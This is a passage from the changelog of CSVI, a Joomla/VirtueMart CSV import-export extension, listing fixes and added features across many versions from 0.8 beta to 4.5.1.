hostname from settings * Fixed export template not show source Version 4.5.1 Import * Fixed manufacturer slug being recreated on VirtueMart Product import / Changed custom values separator from | to ~ / Changed system limits only applied if they have a value Export * Fixed export limits + Added front-end download option * Fixed cron export General - Removed option to delete CSVI backup tables (tables are no longer created) + Added Live Update Version 4.5 Import + Added multiple shopper groups for VirtueMart product import * Fixed VirtueMart user info import * Fixed fatal error on VirtueMart manufacturer category details import * Fixed shopper group not stored for product Export * Fixed VirtueMart category export * Fixed front-end export Version 4.4 Import + Added product_discount_id to VirtueMart Product import / Updated override value for VirtueMart Product import * Fixed product_discount on VirtueMart Product import Export / Fixed VirtueMart user info export General / Updated installer Version 4.3 Import - Removed setting manufacturer category to 1 on VirtueMart Product import - Removed automatic setting override option / Fixed wait time not being applied + Added removal of manufacturer images on deletion of VirtueMart manufacturers + Added multi-language support to VirtueMart Category import Export * Fixed min_order_level on VirtueMart Product export * Fixed max_order_level on VirtueMart Product export / Changed VirtueMart Product export to handle VirtueMart core changes in prices / Fixed some possible issues on loading VirtueMart order export page * Fixed possible warning with category_id export General + Added some info about the site to the About dialog / Changed PHP requirement to PHP 5.2 / Fixed replacements being stripped - Removed built-in version check, now using Joomla version check Version 4.2 Import * Fixed product discount with a % sign + Added file_url and file_url_thumb fields to VirtueMart Product export + Added min_order_level and max_order_level to VirtueMart product import + Added product_override_price to be converted to dots * Fixed product currency on VirtueMart product import * Fixed undefined warning on VirtueMart manufacturer import * Fixed stockable child products issue on VirtueMart product import + Added VirtueMart Product import stockable variants + Added support for new VirtueMart customtitle field on categories and products - Removed category_path constraint for child products Export * Fixed category selector on VirtueMart products * Fixed manufacturers selection list + Added file_url and file_url_thumb fields to VirtueMart Product export Version 4.1 Import * Fixed I'm Mac option * Fixed image name generation * Fixed cron not using template override * Fixed prices containing commas * Fixed product discount ID not using -1 * Fixed image handling * Fixed product_discount in VirtueMart product import + Added product_override_price in VirtueMart product import Export * Fixed missing custom field export * Fixed manufacturers selection list Version 4.0.1 Import * Fixed VirtueMart transliteration * Fixed image options * Fixed VirtueMart product import custom fields missing ID field Export * Fixed VirtueMart category details export * Fixed export to e-mail * Fixed VirtueMart media import not linking to products + Added Akeeba subscriptions export options * Fixed VirtueMart calculation rule category export * Fixed VirtueMart rating export publish field * Fixed VirtueMart shopperfield export publish field Replacement / Changed replace field not to be mandatory General + Added always load en-GB as backup language / Changed use of INFORMATON_SCHEMA as shared hosts don't always allow this Version 4.0 General / Major rewrite to work with Joomla 2.5 and VirtueMart 2.0 Version 3.7 Import * Fixed product files import for non-images * Fixed combine separator for categories * Fixed order item import not showing log information + Added Billing address and shipping address options to address_type * Fixed checking uppercase image extension Export * Fixed product type names export * Fixed adding signature gives empty column * Fixed missing producttypenames field on product export Version 3.6 Import * Fixed import not taking template text enclosure + Added setting for processing images * Fixed product type parameters import Export * Fixed logdetails link * Fixed product currency not applied * Fixed price conversion not working * Fixed setting the memory limit + Added product_type_name to product type parameters export General + Added component name to template types Version 3.5 Import + Added reset of child products when parent product gets deleted + Added option to skip non-existing files in the product files import * Fixed child products attributes / Reset counters if import crashed * Fixed product type names import not correctly checking product ID * Fixed session not to be overloaded * Fixed thumbnails not created when create image name from product SKU + Added import overrides (like Joomla template overrides) + Added remember last used template + Added support for VMF * Fixed looking for product currency * Fixed checking for existing multiple price * Fixed producttypenames expecting a comma + Added possibility to add fields not in import file Export * Fixed fieldname not used when column header is empty * Fixed attribute_with_tax field + Added shipping fee table for shopper sites - Removed default value for decimal separator - Removed default value for thousand separator + Added product price filter + Added export overrides (like Joomla template overrides) / Updated Google Base export to handle tax field + Added support for VMF * Fixed price_with_discount being incorrect when using fixed value Maintenance / Changed the loading of available fields + Added option to unpublish published products in unpublished categories + Added option to delete CSVI VirtueMart backup tables General * Fixed configuration settings lost between updates * Fixed filtering with the log details / Changed storing of files in the administrator/cache folder to the tmp folder + Added list of available template types and explanation * Fixed settings being reloaded on every request / Changed cron to work with : instead of . for separation of commands + Added support for Admin Tools secret word Version 3.4.1 Import * Fixed missing available fields Version 3.4 Import / Improved import performance * Fixed import timer when using preview * Fixed product type names import when using product_type_id field + Added ICEcat tolerant matching MPN / Improved image handling Export + Added option to only export parent products and products without children + Added option to only export child products and products without children * Fixed field check not returning correct value * Fixed front-end export + Added category state filter to product export General * Fixed Update button on Available Fields page Version 3.3.1 Import * Fixed jumping around of radio buttons * Fixed related products * Fixed thumbnail import to lose / in http:// Export * Fixed jumping around of radio buttons + Added check for combine field General + Added German language * Fixed hardcoded jos in installation - Removed VirtueMart check Version 3.3 Import * Fixed fatal error Call to undefined method CsviLog::AddStat() + Added timer and progressbar / Improved handling of unknown extensions / Updated cron handling in case of errors * Fixed the manufacturer xref not created when only importing manufacturer_name / Not force the path settings Export / Not force the text enclosure * Fixed sh404SEF URLs on cron export * Fixed category_path not using CDATA Maintenance / Cleaned up sample templates + Added staggered import for ICEcat index file + Added gzip option for ICEcat / Cleaned up functions General * Fixed XML nodes map not being converted Version 3.2.3 Export * Another go at fixing the custom table handling General * Fixed available fields showing wrong fields Version 3.2.2 Import * Fixed custom table not showing on loading template Export * Fixed custom table not showing on loading template * Fixed custom table not showing when only 1 selected General * Fixed Empty Database warnings / Updated ICEcat loading Version 3.2.1 General * Fixed Settings could not be saved Version 3.2 Import / Improved error messaging on import errors * Fixed import failing when using template fields * Fixed import looping when running into maximum execution time limit * Fixed result page when not saving log reports / Updated replacements to be editable after saving Export * Fixed category tree not showing more than 2 levels * Fixed frontend XML/HTML export fatal error / Updated replacements to be editable after saving General + Added Settings reset button * Fixed website not showing on HTML selection + Added _POST variables to cron Version 3.1 Import * Fixed cancel button not going back to import screen + Added tax rates import * Fixed fatal error when uploading a file with .txt extension * Fixed fatal error when importing XML with fieldnames * Fixed 0 values being ignored + Added waiting list import Export / Made replacement feature work more granular * Fixed JoomFish languages not being shown + Added tax rates export + Added waiting list export Maintenance * Fixed logdetails on maintenance result screen + Added more options to load ICEcat indexes * Fixed ICEcat index file not importing General * Fixed toolbar buttons Log page not working / Updated help pages * Fixed custom tables not showing when only 1 selected + Added FlexTax (http://www.virtuemartflextax.com/) support / Updated installer Version 3.0 Import / Changed layout to include all settings + Added replacement option + Added load file from FTP / Changed unsupported fields are now skipped, import will use known fields found / Improved status reporting * Fixed user fields import not adding new user fields / Improved the preview + Added option to import based on SKU, MPN or child SKU + Added product type names to the product import + Added option to change case of image name + Added option to empty image data if image does not exist + Added option to keep original image files + Added option to check thumbnail file type * Fixed memory limit of -1 not set correctly + Added cleanup for prices that use currency + Added ICEcat integration for product import + Added ICEcat integration for product type names import + Added ICEcat integration for product files import + Added custom tables import + Added quick add fields option + Added combining of fields + Added option to load file from URL + Added manufacturer_delete field to allow deleting manufacturers + Added resizing of full images + Added category separator setting Export / Changed layout to include all settings + Added replacement to export template + Added FTP support * Fixed time field on review export * Fixed cdate, mdate and product price on multiple prices export * Fixed coupon_value on coupon export * Fixed shipping_rate_value and shipping_rate_package_fee on shipping rates export * Fixed shopper_group_discount on user info export + Added published filter to category, reviews, product type, product files export / Frontend export shows the URL it was called from in the log + Added combining of fields * Fixed category details export grouping too greedy + Added product name to multiple prices export + Added date and time modifiers to the export filename + Added product type names to product export * Fixed child product URLs on export + Added AceSEF support + Added collect debug support + Added custom tables export + Added option to also select subcategories when only parent categories are selected + Added JoomFish translation + Added quick add fields option + Added sort option + Added header/footer options + Added cutomized XML exports + Added category separator setting / Updated product SKU filter to allow for more SKU's General - Removed replacement view - Removed template view - Removed template fields view + Added automatic log cleanup + Added log settings + Added line limit to debug log settings + Added version check + Added internal help system / Upgraded jQuery to version 1.4.4 / Upgraded jQuery UI to version 1.8.6 + Added log details view with filters + Added create option for missing folders / Updated the complete language file * Fixed missing ; on comments in database backup + Added installer + Added template backup/restore + Added help files Version 2.3.18.1 Import * Fixed Call to undefined method TableCsvivirtuemart_templates::getValue() * Fixed product files import not finding image * Fixed memory check if set to -1 Export - Removed check if any templates are defined * Fixed mail not being sent over SMTP Version 2.3.18 Import * Fixed product price to be emptied when importing as unpublished field * Fixed XLS preview to be moved over 1 column * Fixed memory setting of -1 appplied incorrectly Export * Fixed the encryption key not being read correctly * Fixed product type names export getting confused of duplicate column names + Added product name to multiple prices export + Added AceSEF support + Added export filename customizing with date and time tags * Fixed product price export not being formatted correctly on multiple prices export General / Cleaned up log report by removing duplicate line number Version 2.3.17 Import * Fixed non-image product files + Added remote file check (thanks Phil) Maintenance * Fixed possible undefined error on removing empty categories Version 2.3.16.1 Import * Fixed fatal error when cleaning filename Version 2.3.16 Import + Added custom fields import for product files + Added support for default values for XML import (thanks Phil) * Fixed attribute on a non-record node (thanks Phil) * Fixed fatal error on import when creating image name based on product ID Version 2.3.15.1 Import * Fixed a code error on the product type parameters import * Fixed fields for order item import Version 2.3.15 Import / Change the handling of product_box and product_packaging. They both need to be used. * Fixed handling non-image files in another folder * Fixed mixed case headings on import (thanks Phil) + Added suppression of error messages when resizing images (thanks Phil) * Fixed problems with remote URLs (thanks Phil) * Fixed error messages on cron usage (thanks Phil) * Fixed BOM check + Added support for customer number Export / Updating SEF export + Added full_name and order_status_name to order item export Version 2.3.14 Import * Fixed category details import not handling images * Fixed issue with shopper_group_id Export * Update the cron generator * Fixed product type names export matching wrong tablename * Fixed category_name in product export General / Further improvements in image handling Version 2.3.13 Import * Generated image name gets extension none / Polish up image handling * Fix possible warnings on reading column headers Export + Added export filters to Basic export + Added more price fields to use the price format from the template + Added option to turn of SEF URL generation on export Replacement - Removed automatic adding of / before and after regular expression to support modifiers + Added confirmation on replacement delete General / Update jQuery to version 1.4.2 / Improved domain name parsing + On installation whitelist CSVI VirtueMart with RS Firewall (thanks to the RS Firewall team) Version 2.3.12 Import * Fixed field order for XML files / Rename selectfile to choosefile to prevent false/positive + Added Collect debug information to basic import / Workaround for MySQL bug (http://bugs.mysql.com/bug.php?id=37521) Export + Added filter for exporting featured products + Added support for JoomSEF SEF URLs + Added support for Joomla SEF URLs + Added template system limits to export + Added modification date to export filter for user info export General / Improved writable folder check Version 2.3.11 Import / Improved cron support / Improved order import details * Fixed order items import * Fixed order import / Improved image handling / Improved support for downloadable files * Fixed a download issue with non-image product files * Fixed category image handling Export * Fixed front-end export not showing domainname * Fixed some undefined errors on e-mail export General + Added a log viewer Version 2.3.10 Import + Added products per row from VirtueMart config when creating a category on product import / More work on the product files import * Fixed misaligned columns when using template fields / Changed order import behavior. Orders can now be imported with an order ID. Export + Added signature to cron export generator / Better handling of exporting non-existing product type names General + Added overview of folder permissions * Fixed incorrect fields on sample templates + Added more sample templates (order import, order item import) + Added folder checks in About section Version 2.3.9 Import * Fixed external image on product files import * Fixed XLS file eating first column * Fixed preview using template fields / Changed product_discount to properly handle a value of 0 Export + Added option to add a UTF-8 signature (BOM) on export Version 2.3.8 Import * Fixed product stock import * Fixed product files import * Fixed preview not showing when Import lines set to 0 * Fixed first line not being skipped in preview + Added some runtime statistics to cron import Templates * Fixed pasting of file paths Version 2.3.7 Import * Fixed remote images import / Improved error reporting on preview screen + Added use of template ID for cron import * Fixed XLS import Templates + Added template ID to templates list General + Added another JPEG signature Version 2.3.6 Import * Fixed XLS import * Fixed XML mixed case column headers Export * Fixed price_with_discount sometimes calculate incorrectly General * Fixed an issue with installing sample templates / Minor changes for Joomla 1.6 compatibility + Added update button on the Available Fields button * Fixed Empty categories deleting too many categories Version 2.3.5 Import / More work on the image handling Export * Fixed product type names export not to use replacement Templates + Added confirmation dialog for deleting template + Added existing available fields check for the template fields General / Some changes to the cron handler * Fixed error in case of non-existing template in replacement Version 2.3.4 Import * Fixed broken product type parameters import * Fixed cron import / Always uppercase product currency Export + Added order ID list selection * Fixed category details export to be filled with fieldnames in case field is empty * Fixed user info export General + Added the column Cancelled on log view to see if an import was cancelled + Added filter on the Log view Version 2.3.3 Import * Fixed duplicate data on product files import + Added a number of options for image handling / Improved error handling in preview / Rewrote image handling Export * Fixed a possible error using the regex replacement * Fixed price format and this time it should really be fixed / Updated export result screen / Better handling if no export fields are chosen / Better handling of the basic export + Added general export options to the basic export * Fixed front-end export not creating a unique ID General * Fixed the sample templates Version 2.3.2 Import + Added basic import + Product price can now contain thousand separator e.g. 1,300.25 or 1.300,25 * Fixed product files thumbnail not always having correct name * Fixed using wrong path name on image check Export * Fixed price format + Added basic export * Fixed a number of small issues Templates - Removed replace field as it is superseded by the Replacement section General + Added PHP requirement to installation routine Version 2.3.1 Import * Fixed first line being imported * Fixed products always being unpublished * Fixed preview not always showing * Fixed incorrect column check / Cleaned up import files * Fixed shopper group ID not to update correctly on user info import * Fixed vendor ID not to update correctly on user info import * Fixed maintenance not working via cron (Thanks Erik) Replacement + Added option to clone replacement * Fixed pagination to not load all templates General + Added result counters to Replacement, Available Fields and Templates lists + Added sample templates for user info import/export Version 2.3 Import * Fixed import hang + Added advanced XML import (thanks Phil) * Fixed image resizing not handling uppercase extensions + Added support for mixed case fieldnames (thanks Phil) / Changed product_cdate to always be applied if supplied * Fixed external image URLs not creating thumbnails Replacement * Fixed field name not being stored when adding a new replacement Export * Fixed some fields not being replaced General / Changed defaults for text delimiter to , and text enclosure " Version 2.2.1 Import / Changed first line check to handle text delimiters in strings (thanks Phil) * Fixed missing files for order item export * Fixed skipping a line too many with XLS import Export * Fixed missing files for order item export * Fixed category export not grouping on category_name General / Updated log layout / Updated installer package layout Version 2.2 Import + Added order import + Added order items import + Added support for encrypted user passwords. Use the field password_crypt + Added support for image URLs without image name Export + Added order payment method for order export / Changed handling of price format. Check your templates if you customized it !! * Fixed price quantity start from and price quantity end + Added order items export Maintenance + Added VirtueMart backup * Fixed public_html been given 777 permission General * Fixed log details not always showing up * Fixed SQL error on installation * Fixed deprecated messages - Removed all languages except English due to being too old Version 2.1.3 Export * Fixed manufacturer details export not exporting data / Improved the SEF url export for products / Updated domain name handling using cron * Fixed replacement not working as should for product exports General * Fixed Invalid argument warning on using Clean cache * Fixed Argument #1 is not an array on using Clean cache Version 2.1.2 General * Fixed installer not creating export price format column Version 2.1.1 Import * Fixed skipping first line issue (thanks Phil) + Added timer to check for possible script termination * Fixed import hangs when image is corrupted Export + Added select options for multiple price groups Templates + Added check if website is chosen for XML export + Added option to set price format output - Removed the Column Header field for import templates General * Fixed old logs not deleted (thanks Phil) + Added finer control over the replacement, is now set per field + Added field order when using Quick Add Version 2.1 Import * Fixed attribute_with_tax not handling prices in thousands correctly * Fixed LOCAL_FILE_DOESNT_EXIST on import with preview + Added unlimited import * Fixed product type names import not finding new product IDs / Check for valid image creation on generating thumbnails * Fixed shipping rates import * Fixed product type names import not importing on different case + Added cancel button to import process Export * Really fix the product_url * Fixed user details export + Added order last modified date to selection criteria Templates + Add input filter to template list General / Keep configuration between new installations / Change installation to check if old CSV Improved tables exist / Updated log handling + Added clear cache to maintenance + Added number of preview lines in the settings / Updated Hungarian language * Fixed calendars not working on order options Version 2.0.2 Import + Added option to import zip files (only 1 file per zip for now) * Cleanup after imported file is no longer needed / Expanded debug report * Fixed Fatal error: Class 'CsvimprovedModelAvailablefields' not found on Product Type Parameters import * Fixed product price not set correctly / Changed product_tax behavior to do nothing when field is empty * Fixed numerous issues in the product type name import + Added support for image SEF urls Export / Changed product type parameter names export, can now mix different parameter types * Fixed front-end export not working in subdomain * Fixed Column 'list_order' in field list is ambiguous on order export / Updated the replacement during export General + Added Czech language thanks to Komanche * Fixed Update available fields overwriting other product_type_x tables except last one / Clean up for PHP 5.3 compatibility Version 2.0.1 Import / Fixed delimiters not always set correctly / Fixed category_path mistaken for category_id Export / Fixed product_url missing domain name / Fixed picture_url missing forward slash General + Added product_type_x fields to the list of available fields + Added search filter to available fields page / Fixed sorting on available fields page / Updated French language Version 2.0 Import / Improved shopper group ID check * Fixed product_files_url for downloadable products + Added category browse and flypage to new category creation * Fixed product type names to lose HTML formatting + Added option to store remote images on the server + Added option to auto-generate imagenames based on SKU + Added option to unpublish products before import * Fixed possible crash if template type not found on import + Added option to auto-detect CSV delimiter and enclosure characters * Fixed several issues with product files import + Added category_delete field + Added field attribute_with_tax * Fixed product_discount_id keeps previous value + Added userfields import + Added product reviews import + Added product_files_delete option + Added calculations to product_in_stock field / Improved product manufacturer relation check Export * Fixed attribute export causing undefined error + Added initialisation of big SQL selects + Added replacement feature + Added Google Base channel header + Added e-mail export option * Fixed child products not being exported with category filter * Fixed non-existing product discounts to export as 0.00 + Added option to choose VirtueMart Item ID * Fixed issues with sh404SEF + Added category_name to productexport + Added field attribute_with_tax + Added userfields export + Added product reviews export + Added cron command line generator + Added HTML export format + Added front-end export / Fixed multiple category id export Templates + Added Quick Template Fields General * Fixed cron not using language file * Fixed cron not using domain name + Added replacement table + Added maintenance option to cron support + Added settings screen * Fixed tooltips on import/export screen / A lot of optimizations done to product import + Added option to not store logging + Added global category separator + Added sorting to Available Fields + Added sorting to Templates List / Moved sample templates to maintenance section / Updated German language Version 1.9 Import + Added support for ignoring empty lines thanks to doorknob * More fixing of thumbnail creation + Added message on preview screen to click Import * Fixed template fields import not importing duplicate fields * Fixed category details import to not always look for category_id * Fixed user info import to not handle user_info_id correctly + Added extra signature for JPG files + Added test check for delimiters on import failure Export * Fixed price_with_discount export * Fixed price_with_tax export not to remove too many 0 * Fixed writing to file garbles UTF-8 text * Fixed export results not being shown * Fixed undefined property with custom fields on coupon export * Fixed export with same field names to use only the last + Added condition field to Google Base sample as this is now a required field * Fixed Unknown column 'jos_vm_order_user_info.first_name' in 'field list' * Fixed product type names export to be empty when choosing Don't use Templates + Added template name when editing template + Added option to specify different kind of paths * Fixed field order ID to follow the highest order number General + Added delete all option for log entries + Added support for multiple select boxes to cron + Added another jpeg signature + Added German translation thanks to crissxcross / Updated French translation / Updated Hungarian translation / Updated Brazilian-Portugese translation / Updated Slovenian translation Version 1.8.1 Import * Fixed Fatal error: Call to undefined method TableVm_product::setValue() Export * Fixed export could give error not using product_sku Version 1.8 Import * Fixed external images not being resized * Fixed shopper_group_id ignored on user info import * Fixed shopper_group_name not foud on user info import / Changed product file import to use thumbnail sizes from template setting when not creating thumbnail * Fixed thumbnail creation for subfolders. A resized folder MUST be specified now. * Fixed file_url to be always the same for product files import / Changed import not to stop on error but only report it * Fixed user info import not creating shopper vendor xref * Fixed user info import not to create a name for Joomla user * Fixed product files import causing index.php on file download * Fixed shopper <--> vendor relation for user * Fixed undefined errors on userinfoimport * Fixed product_packaging being reset to 0 * Fixed double / in product_url + Added product stock import * Fixed Not overwrite existing data always return product exists when disabled * Fixed manufacturer details import not working without manufacturer_id * Fixed template fields import not handling "not overwrite existing data" correctly * Added check if category_name matches category_path / Updated memory usage check * Fixed incorrect import when using category_path and category_id in upload file * Fixed product files thumbnail not being put in resized/ folder + Added modal window to show template fields * Fixed undefined error in case of incorrect attribute Export * Fixed undefined error for export filename + Added sh404SEF URLs for product URL export * Fixed missing product_box field + Added modal window to show template fields General + Added Russian translation thanks to progressor / Updated Slovenian translation / Updated French translation / Updated Hungarian translation Version 1.7 Import * Fixed bug where filename loses first character on the product files import * Fixed fatal error when overwrite data is unchecked * Fixed fatal error with ToPeriod function * Fixed product_mdate and product_cdate not being processed * Fixed category list order not being processed + Added Joomla user details to user info import * Fixed XML import not using first entry + Added shipping rates import * Improved product deletion * Fixed manufacturer ID import + Added comma to period conversion on multiple prices import + Added detailed output on column mismatch + Added option to import selected columns / Changed filename handling for product files + Added check for category details import if category_name matches category_path Export + Added payment method to order export * Fixed template export not showing template selection list * Fixed template fields export not showing template selection list * Fixed order export to fail on a number of fields + Remove slashes in vendor name on user info export + Added country name to order export + Added Joomla user details to user info export * Fixed category details export + Added shipping rates export + Added currency conversion on export * Fixed missing product_box Templates + Added option to add currency to price on export Maintenance + Added product files table to emtpy database + Added option to remove empty categories General + Added Portugese translation thanks to dadus + Added Brazilian Portugese translation thanks to Igaeta + Added French translation thanks to ahamel + Added Hungarian translation thanks to dkg11hu * Fixed control panel images and links + Added template name to log view + Added Slovenian translation thanks to VidKo + Added Swedish translation thanks to cpthaddock + Added Dutch translation thanks to djors Version 1.6 Import + Added coupon import / Updated thumbnail creation process to check for sensible thumb sizes * Fixed product files import creating duplicate entries * Fixed product type names import warning if product type does not exist * Fixed vendor_id returning no result Export * Fixed product with discount has no tax + Added stock level values to product export + Added user-interactive user selector + Added user-interactive product selector * Fixed Product Type Names not exporting column headers / Changed product type names export not to force lowercase + Added coupon export * Fixed product files export * Fixed manufacturer details export not working + Added product_files_download to product files export + Added product SKU filter for product export + Added product type name filter * Fixed product_attribute not using CDATA Maintenance + Added confirmation message to database delete + Added option to resize product name field General + Added jQuery for improved GUI + Added Croation language thanks to tatamata Version 1.5.2.1 Export * Fixed category export being ignored + Added multiple category selection Version 1.5.2 Import * Fixed error when only importing manufacturer ID * Fixed incorrect preview / Changed processing of related SKU's to be more efficient Export * Fixed product export when manufacturer is set * Fixed fatal error when mysqli is set as database handler * Fixed vendor_id not exporting * Fixed delimiters not duplicated if they occur in the text / Made group by checkbox checked by default + Added order export option to export shipping address in case it exists + Added category selection to product export Templates + Added filter for import/export templates General * Fixed license check / Updated folder layout Version 1.5.1 Import * Fixed manufacturer not assigned to first product if manufacturer doesn't exist / Changed handling of auto creating thumbnails + Added auto creating thumbnails for category details import + Added some performance tweaks / Changed import routine to stop immediately when timeout has been reached / Changed product type names import to only update the parameters specified in uploaded file Export * Fixed incorrect flypage as VirtueMart config is ignored * Fixed group by not ignoring a few custom fields + Added option to set date format on export templates General * Fixed cron not logging out user / Changed informational messages to be no longer classified as success * Fixed some undefined errors in the logging * Fixed version number not always showing on about page Version 1.5 Stable Import / Updated product type parameters / Changed applying system limits only if value is greater than 0 * Fixed template import * Fixed template fields import + Added template_name field to template fields import - Removed converting HTML entities to real characters on product description / Update thumbnail creation check * Fixed undefined errors when database structure is bad Export + Added tab delimiter * Fixed missing price_with_discount field * Fixed template export not showing all templates * Fixed template export in XML format no CDATA tag on cusom field value + Added template_name field to template fields import + Added disable Export button if no templates with fields are found / Fixed handling of templates with 0 fields in case the export gets called / Fixed file export to disk not UTF-8 / Fixed Beslist.nl XML export to not include linebreaks for elements / Fixed errors showing up when no records are found to export * Fixed undefined errors when database structure is bad General / Updated license check / Updated installer to check if database can be read / Updated images Version 1.5 RC 2 Import + Added default currency read from VirtueMart on Multiple Prices import / Fixed shopper groups ignored on Multiple Prices import + Added attributes tag to Product Import + Added product_sku tag to Multiple Prices import + Added shopper_group_name tag to Multiple Prices import * Fixed products per row not working on category details import - Removed UTF-8 conversion as it does more bad than good + Added first manufacturer is assigned to product when importing new products without manufacturer Export * Fixed filtering on address did not work for order and user info export / Changed loading of usernames to not load if there are more than 5000 users + Added disable export templates without fields + Added attributes tag to Product Export + Added product_sku tag to Multiple Prices export + Added shopper_group_name tag to Multiple Prices export / Fixed cron ignoring filepath set in general settings * Fixed product type names export Templates + Added missing text for non-existing images General * Fixed unclosed quotes in installation script * Moved requirements checks to beginning of script + Added memory limits to sample templates + Added removal of images folder on un-installation as Joomla doesn't clean up / Updated install XML DTD / Changed license check - Removed CURL requirement / Replaced license check on external server with license key Version 1.5 RC 1 Import * Fixed tax not associated with product + Added preview column to import selection screen + Added shopper details to user info import * Fixed undefined errors in cron * Fixed undefined errors on result page * Fixed a bug in thumbnail creation where file is not found Export * Fixed undefined error on export result screen / Moved record grouping from order export to general settings + Added user address filter to user info export + Added user vendor filter to user info export + Added user permission filter to user info export + Added custom field to user info export + Added full_name field to user info export (combines first, middle and last name) + Added full_name field to order export (combines first, middle and last name) + Added discount_percentage field to order export (order_discount/order_total) + Added product_price_total field to order export (product_price*product_quantity) + Added total_order_items field to order export (counts number of items per order) + Added shopper details to user info export * Fixed undefined errors in cron * Fixed undefined errors on result page Templates + Added auto increment value when adding template fields / Changed field size of column headers to give more space Maintenance * Fixed not deleting product type names tables > 9 General + Added links to the available fields online help pages * Fixed pagination on available fields page + Added server address to About page / Updated license check for working locally Version 1.5 beta 5 Import / Updated available fields for product import + Added changing product_weight commas to periods + Added changing product_length commas to periods + Added changing product_width commas to periods + Added changing product_height commas to periods - Removed category details from product import Export / Updated available fields for product export * Fixed filename incorrect when downloading file + Added product type export + Added product type parameters export + Added product type names export + Added currency filter to order export / Changed some order export options to multiple select - Removed category details from product export Templates * Fixed file location having mixed path separators Version 1.5 beta 4 Import * Fixed category_id not processed Export * Fixed file location not used when exporting to local file based on template + Added log entry when SQL query is incorrect * Fixed product_parent_sku missing * Fixed local file not saving in the correct folder + Added option to group records together on order export + Added option to select address type on order export * Fixed missing product_sku, product_name on order export Templates * Fixed error message if no templates are created General * Fix icons not showing if installed in subfolder Version 1.5 beta 3.0.1 General / Updated license check * Fixed license expire date incorrectly shown Version 1.5 beta 3 Import * Fixed categories not added correctly + Added product_list Export * Fixed product_name export / Changed product_url to be enclosed in CDATA tags for XML exports * Fixed custom field not handled in product export Templates * Fixed typo in Google Base template * Fixed template list not always showing General / Completely revised language file Version 1.5 beta 2.2 Import * Fixed manufacturer_name not being imported * Fixed tax rate not being imported Export * Fixed category_name Category Details export * Fixed category_path misssing from Category Details export Templates + Added default system values for System Limits General * Fixed error messages when no logs exist Version 1.5 beta 2.1 Import + Added check and warning if no templates exist + Added a default selected template Export + Added check and warning if no templates exist + Added a default selected template * Fixed missing category_path on product export * Fixed missing number of fields General + Added Romanian thanks to Danny Version 1.5 beta 2 Import + Added option to append categories / Fixed bug where multiple categories per product were not imported Export + Added order export by sold product Templates / Fixed wrong save button Version 1.5 beta 1.3 General / Moved the creation of the log object to the parts that use it Version 1.5 beta 1.2 General / Updated license check / Update database table definition to prevent possible key length error Version 1.5 beta 1.1 General / Updated license check Version 1.5 beta 1 Import + Added price calculations for both regular and multiple prices import + Added price_with_tax + Added option to ignore non-existing products + Added manufacturer category ID + Added downloadable files option to Multiple Files import (product_files_download) + Added product_type_parameter_delete option + Added manufacturer_category_details import - Removed 100 character limitation on import preview + Added support for ODS files (OpenOffice Spreadsheet) + Added check if cache folder is writable * Fixed cron support + Added default values from template to preview + Added option to set default thumbnail format + Added user info import Export + Added order export by order number + Added order export by date range + Added order export by order status + Added order export by price + Added order export by customer name + Added removal of linebreaks on export + Added export results to log table * Fixed dates exporting as Unix timestamps * Fixed cron support + Added XML support for Oodle.com + Added user info export / Drastically reduced memory usage on export General / Converted to Joomla 1.5 codebase + Added logging storage + Added browseable list of available fields Version 0.9 Import * Fixed the product type parameters not able to update Export + Added removal of linebreaks for product export * Fixed discount start and end date to export as regular dates * Fixed product type exports were broken * product_thumb_image was exported as product_full_image Templates / Changed field adding and removing to no longer use AJAX / Updated layout to specify add field section General / Changed DB layout check to ensure DB structure consistency Version 0.9 RC 1 Import * Fixed multiple prices import to reset shopper groups * Fixed Fatal error: Class 'product_files' not found in product type parameters Templates * Fixed template not being saved * Fixed manufacturer selection got lost Version 0.9 beta 2 Import * Fixed conversion option lost + Add price field check if entry is numeric * Fixed preview losing convert choice * Fixed cron throwing a GetObject() on a non-object error Export * Fixed order export to include non-existing users * Fixed export not exporting first record Templates * Fixed settings getting lost General / Updated installer script Version 0.9 beta 1 Import + Added cron import via command line + Added support for passwords without salt + Added warning if more than 1 product <--> manufacturer link exists * Fixed manufacturer name not being escaped for database insert * Fixed generic manufacturers created when only importing manufacturer ID + Added category_id + Added custom database fields from the #__vm_product table + Added support for CSVI XML * Improved the file upload handling / Changed the preview layout Export * Fix price_with_discount using wrong discount + Added category_id / Updated Google Base XML for category paths * Fix picture URL path / Updated product description for Google Base to always be filled + Added custom database fields from the #__vm_product table + Added support for CSVI XML + Added export per manufacturer for products Templates + Added export filename + Added system limit settings - Removed standard delimiters + Added wizard for adding and editing templates / Redo Field management * Fix error when publishing no selected fields / Moved renumber icon from toolbar to field list Languages + Added French translation by Michel Loriaut and Xavier Lemoine / Updated Spanish translation by Juan Ferrari / Updated Polish translation by Keran from Quarkbit Software Version 0.8 Stable Import * Fixed attribute_values not properly added * Fixed duplicate product_tax_id Languages / Updated German language file thanks kaltokri Version 0.8 RC 3 Export + Add user_id and product_id fields to order export * Updated XML export by adding CDATA tags * Added UTF-8 encoding to the Froogle XML export / Changed mf_name to manufacturer_name for order export + Added username to order export * Fixed duplication of products on export * Fixed category details export / Changed export filename to use template name Import * Fixed fatal error Call to undefined method CsviSupportedFields::FieldsProductTypeXref() * Fixed cannot access empty property in the rpc file * Fixed Fatal error: Call to undefined method CsviRegistry::CloneObje() + Added Create manufacturer link if none exists * Fixed undefined $debug * Fixed a timeout bug where max_execution_time is set to 0 * Fixed incorrect manufacturer <---> product links * Fixed possible double vendor_id in add product query Maintenance / Changed layout of maintenance page General * Fixed VirtueMart check Version 0.8 RC 2.1 Export * Fix layout of discounted price * Fix exports giving blank files Version 0.8 RC 2 Import * Fixed product_parent_sku deleted on import * Fixed Fatal error: Class 'product_files' not found on multiple prices import - Removed product type cross reference import + Product type names spaces converted to underscores Export + Added Order export * Fix attribute_values for downloadables * Fix incorrect fieldname for order export + Added manufacturer name to order export - Removed product type cross reference export + Added record limits to all exports Templates + Added page navigation to template list + Added filter to field page + Added alternate row colors on template and field page General * Merged the product type cross reference into product type names import Version 0.8 RC 1 Import * Fixed invalid reference in mime type detection * Fixed preview mode broken with imported file only 5 lines * Fixed debug reporting being overridden * Fixed template fields import * Fixed product discount id not being used + Added more details for import preview errors * Fixed product files import * Fixed import not reading fields correctly / Changed loading of template details now uses AJAX Export * Fix hardcoded table prefixes + Add manufacturer export * Fixed incorrect column header / Changed loading of template details now uses AJAX Templates / Changed template fields page to Joomla style + Added button to add custom field * Standard thumb width and height set to 90x90 General - Removed Help section + Added link to wiki (http://www.csvimproved.com/wiki/doku.php/) + Added AJAX support Version 0.8 beta 6 Import + Added option to choose to convert encoding + Added check if iconv is available + Added 